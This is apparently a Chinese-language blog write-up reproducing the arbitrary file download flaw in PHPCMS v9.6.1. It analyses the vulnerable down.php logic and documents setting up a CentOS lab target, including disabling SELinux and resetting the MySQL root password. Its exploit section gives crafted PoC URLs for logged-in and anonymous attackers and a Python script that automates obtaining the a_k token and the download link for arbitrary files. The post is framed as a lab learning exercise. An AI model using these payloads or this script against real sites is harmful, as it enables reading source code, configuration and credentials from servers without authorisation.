看着网上的大佬们的分析过程复现了一下phpcms
v9.6.1的任意文件读取,头次用centos搭建网站遇到了不少坑,记录一下此次复现
准备工作
使用操作系统
靶机系统:Centos7.3
攻击系统:windows 7
知识铺垫
1.php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
2.原生empty方法,对字符串”“返回true。
3.phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。
漏洞分析
按照网上教程分析了PHPCMS v9.6.0和v9.6.1,发现phpcms/modules/content/down.php有如下修改
代码对比网址
这里主要修改了init()和download()
1.通过GET获取到$a_k参数内容,然后$a_k参数内容能够进入到sys_auth函数进行解密。
2.Parse str函数会自动对传入的值将其根据&分割,然后解析到具体变量并注册变量,并且对内容进行URL解码操作。(比如我们传入‘id=123%27%20and%201=1%23’,经过parse_str函数后变成了id=123’ and 1=1#。)
3.$f变量不能为空,这里正好通过parse_str处理后注册了$f,说明$f变量的内容是我们可控的。
1.这里判断你的$f是不是有非法后缀,或者使用’:\’,’..’,只要匹配到其中一种都是违法的。
2.然后判断是不是外链文件’http://’或’ftp://’或未使用’://’,系统生成一个$pc_auth_key,以这个$pc_auth_key为auth_key加密一个拼接了各种参数的url,上面的$f也在里面,然后生成一个$downurl,也就是下载文件的链接。
1.这里讲GET获取的$a_k变量内容进行解密,解密时使用$pc_auth_key为auth_key,跟上面在init函数里面加密使用的同一个auth_key,这里加密解密就对应起来了。
2.变量$a_k通过一次safe_replace函数处理,再次通过parse_str函数处理。
1.继续对$f变量进行后缀和特殊字符的判断。
2.将$s和$f拼接起来,在来判断fileurl的后缀。(如果fileurl是远程文件就直接跳转了,如果不是就放到else里面处理)
3.获取文件后缀,然后加上一个日期为文件名,最后将fileurl中的’<’和’>’替换为空。
4.将fileurl既为文件名传入到file_down函数进行下载。
打开phpcms/libs/functions/global.func.php
这里没有做任何处理
所以一路走下来,我们可控的参数进入到了fileurl既文件路径和filename既文件名里面。
如果我们输入一个ph,一个>p,然后相加就是ph>p,经过替换后就变成了php,而在这个过程中,正好有$s和$f拼接的过程:
$s=’test.ph’ + $f=’>p’ = $fileurl=’test.ph>p’,最后替换成了个 $fileurl=’test.php’
漏洞复现
靶机搭建
Centos搭建lamp(linux+apache+mysql+php)
常规安装
# yum -y install httpd php mysql mysql-server php-mysql
由于长期使用Ubuntu的原因,在这里遇到了3个大坑,这里我列一下解决方案
1)linux 下安装phpcms文件权限不可写
将/var/www/html/phpcms目录所属用户和组修改为apache
# chown -R apache:apache phpcms/
# find phpcms/* -type f -exec chmod 644 {} \;
# find phpcms/* -type d -exec chmod 755 {} \;
这种方法发现并不能解决
查阅资料后发现是防火墙的问题
setenforce是Linux的selinux防火墙配置命令 执行setenforce 0 表示关闭selinux防火墙。
# getenforce
Enforcing(强制模式)
# setenforce 0
Permissive
这时候再看phpcms权限变为可写
注:SELinux 宽容模式(Permissive)强制模式(Enforcing)
2)Centos 下yum install mysql-server没有可用包
Centos下默认好像是MariaDB数据库,自带源无法安装mysql-server
# wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
# rpm -ivh mysql-community-release-el7-5.noarch.rpm
# ls -1 /etc/yum.repos.d/mysql-community*
/etc/yum.repos.d/mysql-community.repo
/etc/yum.repos.d/mysql-community-source.repo
# yum install mysql-server
3)安装完Mysql后登录报错ERROR 1045 (28000)
mysql 用户没有操作/var/run目录的权限,所以pid文件无法创建,导致登陆时无法建立 进程信息文件,登陆进程就无法开启,自然无法登陆。
第一步:
修改 /etc/my.conf
#pid-file=/var/run/mysqld/mysqld.pid(注释这条)
pid-file=/var/lib/mysqld/mysqld.pid(新增内容)
mysql用户无法cd /var/run/。修改为mysql可以有权限的目录后再执行mysql就进入数据库了。
第二步:
/etc/init.d/mysql stop (service mysqld stop)
/usr/bin/mysqld_safe –skip-grant-tables
连接mysql
mysql> use mysql;
mysql> update user set password=password("123456") where user="root";
mysql> flush privileges;
mysql> exit
然后
# ps –a | grep mysql
25225 ? 00:00:00 mysqld_safe
25373 ? 00:00:01 mysqld
# kill -9 25225 25373
# /etc/init.d/mysql start(service mysqld start)
漏洞利用
这个漏洞利用总共有两种方法,不过实际区别是用户是否登录
方案一(前台注册并登录): 访问如下url:
http://127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3Dphpcms%2fmodules%2fcontent%2fdown.ph%26f=p%3%252%2*77C
这段poc是用来下载phpcms/modules/content/down.php文件的 此时捕获到的att_json就是a_k参数的值
http://127.0.0.1/index.php?m=content&c=down&a=init&a_k=
获取到下载按钮 点击下载 下载到的文件正是down.php
同理可以任意下载其它文件
方案二(用户未登录):
http://127.0.0.1/index.php?m=wap&c=index&a=init&siteid=1
获取当前的siteid
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*77C
并POST userid_flash,值为获取到的siteid
userid_flash= 9024Wq6sW-RX5X41P0sSfZdBK5C2gM5vQyQ_9ytr
拿到att_json,然后按照方案一构造a_k即可
复现脚本
用python自己写了个小脚本,路过的大牛有兴趣的可以看下
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import urllib
import urllib2
import re
import cookielib
def checkip(ip):
p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if p.match(ip):
return True
else:
return False
def cookies(url):
cookie = cookielib.CookieJar()
handler=urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
response = opener.open(url)
return cookie
ip = raw_input("please input the phpcms ip:")
if (checkip(ip)):
url_1 = "http://" + ip + "/phpcms/index.php?m=wap&c=index&a=init&siteid=1"
print u"请稍等...正在获取KEtUI_siteid:"
cookie_1 = cookies(url_1)
for i in cookie_1:
if "siteid" in i.name:
userid_flash = i.value
print "userid_flash = " + userid_flash
break
else:
print u"userid_flash 获取失败"
url_2 = "http://" + ip + "/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp"
print u"请稍等...正在获取a_k"
postdata = dict(userid_flash=userid_flash)
postdata = urllib.urlencode(postdata)
request = urllib2.Request(url_2,postdata)
cookie_2 = cookies(request)
for j in cookie_2:
if "att_json" in j.name:
a_k = j.value
print a_k
print "a_k = " + a_k
break
else:
print u"a_k获取失败"
url_3 = "http://" + ip + "/phpcms/index.php?m=content&c=down&a=init&a_k=" + a_k
print url_3
else:
print "Try again!"
复现心得
之前一直使用ubuntu,用Centos搭建网站特别不顺畅,权限低到离谱,从kali的root到ubuntu的sudo权限,再到centos一开始真心不适应。搭建网站中遇到了很多坑,不过所幸都一一解决了。
对phpcms分析让我对代码审计方面也得到了长进,从网上了解到了一些web漏洞挖掘的心得,和构造payload的过程,感觉收获还是很大的。
参考网址:
【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析(含PoC,已有补丁)
phpcms v9.6.1任意文件下载漏洞分析及EXP
PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程